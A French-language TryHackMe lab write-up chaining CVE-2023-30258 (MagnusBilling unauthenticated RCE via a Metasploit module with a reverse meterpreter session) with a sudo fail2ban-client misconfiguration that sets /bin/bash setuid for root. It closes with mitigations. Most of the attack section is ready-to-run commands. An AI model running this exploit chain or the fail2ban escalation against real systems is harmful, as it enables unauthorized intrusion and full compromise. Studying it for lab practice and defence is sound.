
Procédure pas à pas pour l'exploitation de CVE-2023-30258 (RCE MagnusBilling) et l'élévation de privilèges via une mauvaise configuration de fail2ban sur un laboratoire TryHackMe. Démontre l'énumération web, l'exploitation avec Metasploit et l'escalade de privilèges sous Linux.
⸻
🛡️ MagnusBilling RCE → Root (CVE-2023-30258)
📌 Aperçu • Cible : 10.145.148.203 • Plateforme : TryHackMe • Vulnérabilité : CVE-2023-30258 • Accès : Exécution de code à distance (RCE) non authentifiée • Élévation de privilèges : Mauvaise configuration de fail2ban • Accès final : Root
⸻
🔍 1. Reconnaissance
Scan des ports
rustscan -a 10.145.148.203
📊 Ports ouverts
Port Service
22 SSH
80 HTTP
3306 MySQL
5038 Asterisk

La présence d'Asterisk suggère un système VoIP/facturation.
⸻
🌐 2. Énumération Web
Fuzzing des répertoires
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c
📁 Résultats : • /archive • /assets • /lib • /tmp • /protected
Le chemin /mbilling est identifié comme une vecteur d'attaque potentiel.

⸻
🚨 3. Identification de la vulnérabilité
CVE-2023-30258
MagnusBilling est vulnérable à : • Exécution de code à distance (RCE) non authentifiée • Injection de commandes • Compromission totale du système
⸻
💣 4. Exploitation (Metasploit)
msfconsole
search CVE:2023-30258
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS 10.145.148.203
set LHOST tun0
set LPORT 4444
run

⸻
🎯 Résultat
meterpreter session opened
sysinfo
OS: Linux Debian User: asterisk
⸻
🔐 5. Accès initial
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
whoami
asterisk
⸻
🏁 6. Drapeau utilisateur
cd /home/magnus cat user.txt
⸻
🔎 7. Élévation de privilèges
Vérification de sudo
sudo -l
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Mauvaise configuration critique détectée !
⸻
💣 8. Exploitation de Fail2Ban
Ajout d'une action malveillante
sudo fail2ban-client set mbilling_login addaction evil
sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"
sudo fail2ban-client set mbilling_login banip 127.0.0.1
⸻
🚀 9. Accès Root
/bin/bash -p
id
euid=0(root)
Initialement, whoami renvoyait asterisk. L'utilisation de bash -p permet d'élever les privilèges jusqu'à root.
⸻
👑 10. Drapeau root
cat /root/root.txt
⸻
🧠 11. Points clés à retenir • L'exploitation de la CVE a fourni un accès initial facile • L'énumération web est essentielle (ffuf a identifié /mbilling) • Un sudo mal configuré peut conduire à une compromission totale du système • fail2ban peut être abusé pour l'élévation de privilèges
⸻
🛡️ 12. Mesures d'atténuation • Mettre à jour MagnusBilling vers la dernière version • Supprimer NOPASSWD de la configuration sudo • Restreindre l'accès à fail2ban-client • Durcir les applications web et les points de terminaison
⸻
💀 Conclusion
Cette machine démontre une chaîne d'attaque réaliste :
RCE Web → Shell → Élévation de privilèges → Root
La combinaison d'une vulnérabilité et d'une mauvaise configuration a conduit à une compromission totale du système.